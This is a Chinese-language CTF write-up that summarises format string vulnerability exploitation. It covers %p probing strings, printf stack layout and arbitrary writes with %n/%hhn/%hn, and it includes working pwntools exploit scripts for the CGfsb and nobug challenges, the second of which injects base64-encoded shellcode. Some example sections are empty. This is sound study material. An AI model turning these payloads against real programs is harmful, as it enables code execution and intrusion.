fmt漏洞总结
之前学的格式化字符串漏洞十分散乱,故写一篇文章来总结目前遇到的格式化字符串利用方式。我会通过知识点加例题的方式来
格式化字符串漏洞常用探测payload
1
| AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
|
2.2 格式化字符串攻击技术
- 泄露栈数据: 使用
%x、%p 等
- 任意地址读: 使用
%s
- 任意地址写: 使用
%n ← 本题使用!
printf函数机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| printf函数通过解析格式化字符串来决定如何从栈中读取参数:
栈布局示例: +------------------+ | 返回地址 | +------------------+ | 格式化字符串指针 | ← printf的第1个参数 +------------------+ | 参数1 | ← %x读取这里 +------------------+ | 参数2 | ← %x %x读取这里 +------------------+ | ... | +------------------+
|
任意地址读
例题一:basectf
例题二:羊城杯
任意地址写
例题一:攻防世界-CGfsb

第一步探测输入点的偏移发现是10故接下来的攻击都会围绕10来进行

审计一下函数,发现有打印flag的分支,只需要pwnme变量为8,点开发现在bss段上。既然我们有格式化字符串漏洞,那么可以使用任意地址写来完成攻击。

payload的计算:
p32(0x0804a068) → 4字节,写入目标地址(p32也占4字节)
- 已打印4字节,还需要打印4字节才能达到8
%4c → 再打印4个字符(%c是统计在此之前一共的字符数,p32的四字节加%4c的四字节刚好达到8)
%10$n → 将8写入第10个参数指向的地址(即0x0804a068)
1 2 3 4 5 6 7 8 9
| from pwn import *
p=remote('61.147.171.35', 52252)
p.sendline(b'1111') shell = 0x0804A068 pay = p32(shell) + b'%4c' + b'%10$n' p.send(pay) p.interactive()
|

栈上的格式化字符串漏洞
例题三:2025-nss4th-fmt
非栈上的格式化字符串漏洞
例题一:polarctf-2025-秋季赛
例题二:
例题三:攻防世界-nobug

接着会调用这个函数,这个fmt是安全的,有%s限制

但是观察汇编,在调用完这个函数后不会直接ret,而是会依次在调用两个函数,

这个函数用来恢复栈

这个函数有fmt洞,可以利用

至于这个函数,猜测是加解密一类的函数,里面调用了base64的表,那大概率就是这个了。经测验是一个base64解密函数,所以我们的payload需要加密后发送

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| void *__cdecl sub_804869D(char *p_s, size_t a2, _DWORD *a3) { int v4; int v5; int v6; size_t v7; int v8; char v9; char v10; char v11; int n3; int n3_1; int n63; int v15; void *ptr; char v17; char v18; char v19; char v20; unsigned int v21;
v21 = __readgsdword(0x14u); n3 = 0; n3_1 = 0; n63 = 0; v15 = 0; ptr = malloc(0); if ( !ptr ) return 0; while ( 1 ) { v7 = a2--; if ( !v7 || p_s[n3_1] == 61 || !isalnum(p_s[n3_1]) && p_s[n3_1] != 43 && p_s[n3_1] != 47 ) break; v4 = n3++; v5 = n3_1++; *(&v17 + v4) = p_s[v5]; if ( n3 == 4 ) { for ( n3 = 0; n3 <= 3; ++n3 ) { for ( n63 = 0; n63 <= 63; ++n63 ) { if ( (unsigned __int8)*(&v17 + n3) == *(char *)(n63 + 134516000) ) { *(&v17 + n3) = n63; break; } } } v9 = 4 * v17 + ((v18 & 0x30) >> 4); v10 = 16 * v18 + ((v19 & 0x3C) >> 2); v11 = (v19 << 6) + v20; ptr = realloc(ptr, v15 + 3); for ( n3 = 0; n3 <= 2; ++n3 ) { v6 = v15++; *((_BYTE *)ptr + v6) = *(&v9 + n3); } n3 = 0; } } if ( n3 > 0 ) { for ( n3_1 = n3; n3_1 <= 3; ++n3_1 ) *(&v17 + n3_1) = 0; for ( n3_1 = 0; n3_1 <= 3; ++n3_1 ) { for ( n63 = 0; n63 <= 63; ++n63 ) { if ( (unsigned __int8)*(&v17 + n3_1) == *(char *)(n63 + 134516000) ) { *(&v17 + n3_1) = n63; break; } } } v9 = 4 * v17 + ((v18 & 0x30) >> 4); v10 = 16 * v18 + ((v19 & 0x3C) >> 2); v11 = (v19 << 6) + v20; ptr = realloc(ptr, n3 + v15 - 1); for ( n3_1 = 0; n3 - 1 > n3_1; ++n3_1 ) { v8 = v15++; *((_BYTE *)ptr + v8) = *(&v9 + n3_1); } } ptr = realloc(ptr, v15 + 1); *((_BYTE *)ptr + v15) = 0; if ( a3 ) *a3 = v15; return ptr; }
|
在写payload的时候,计算fmt洞的偏移,观察这个函数,它的参数是vararg这个地址开始的,并不是从栈定开始算

故从这个地址开始数第一个为1,到ebp刚好为4,下面要修改的地址刚好为12,并不是fmtarg 计算的ebp是6

1 2 3 4 5 6 7 8 9 10
| 0xffffcca8 │ ebp = 0xffffccc8 │ ← %4$p的值 0xffffccac │ ret = 0x8048bd1 │ ← %5$p的值 ├─────────────────┤ sub_8048BD4栈帧 0xffffccc8 │ ebp = 0xffffcce8 │ ← %12$p的值 0xffffcccc │ ret = 0x8048bdf │ ← %13$p的值 ├─────────────────┤ main栈帧 0xffffcce8 │ ebp = 0xffffcd08 │ 0xffffccec │ ret = ... │
|
泄露的地址是ebp的地址
观察我们的ebp链子,我们的第一个目标是修改ebp的内容,也就是0xffffcce8的地址,fmt对于三级链修改字节的形式都是隔一个地址来修改。所以我们的偏移是0xffffcca8的地址的话,实际修改的低字节地址是0xffffcce8。它会被修改为0xffffcccc,这正是我们的目标

但是我们的payload第一部分是
1 2
| delta1 = ((target & 0xFF) - len(shellcode)) & 0xFF pay = shellcode + b'%' + str(delta1).encode() + b'c' + b'%4$hhn'
|
其中target & 0xFF变为0xcc,但是我们需要减去shellcode的长度,因为%x$hn会把当前的字符总数加起来写入地址。
在fmt漏洞前下断点把我们的payload写入后观察栈的结构

发现此时ebp链子已经发生了改变。原来的0xffffccc8 —▸ 0xffffcce8现在变为了0xffffccc8 —▸ 0xffffcccc —▸ 0x8048bdf

至此完成修改,接着往下调会发现程序进行一次自带的栈迁移。吧刚才我们修改的地址作为返回地址。那么下一步就是改这个0xffffccc8 的内容为我们的shllcode地址。先观察这个地址和我们的目标shellcode地址。这两个地址差了2个字节,所以我们用%x$hn来进行修改低字节。
但是这个题有一个很巧妙的点就是在调用完有格式化字符串漏洞的函数后会进行一个mov dword ptr [esp], offset s_操作,而s__正好是我们解码后的shellcode所以不用改第二次低字节也可以打通

如果要改第二次,实际上在下图位置的ret会被改为shellcode地址执行。而不改的话会继续执行puts函数

puts函数吧栈顶0xffffccd0的位置写入shellcode的地址,然后后面leave ret会吧0xffffcccc抬高4字节,刚好是d0,所以直接会执行shellcode


打本地会卡住,调试发现会跳到shellcode但是程序会莫名奇妙崩了。

可以看到本地是可以跳转到我们的shellcode。就是程序会崩了,学习思路了就好

打远程一样的shellcode就可以打通,挺玄学的。

多提一句,非栈fmt只能改二级指针及其以上,不能改一级指针,如下,可以改20处不可以改24处

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * import base64 context.arch='i386' bs64=lambda data:base64.b64encode(data) p=process('./nobug')
sc_addr = 0x0804A8A0 shellcode=asm(shellcraft.sh())
p.sendline(bs64(b'%4$p'))
p.recvuntil('0x')
target=int(p.recvuntil('\n',drop=True),16) + 4 log.success('targe addr--> '+hex(target)) print(target & 0xff) delta1 = ((target & 0xFF) - len(shellcode)) & 0xFF
delta2 = ((sc_addr & 0xFFFF) - delta1) & 0xFFFF log.success('part1--> '+hex(delta1)) log.success('part2--> '+hex(delta2)) gdb.attach(p, 'b *0x08048B6F') pay = shellcode + b'%' + str(delta1).encode() + b'c' + b'%4$hhn' pay += b'%' + str(delta2).encode() + b'c' + b'%12$hn' p.sendline(bs64(pay)) p.interactive()
|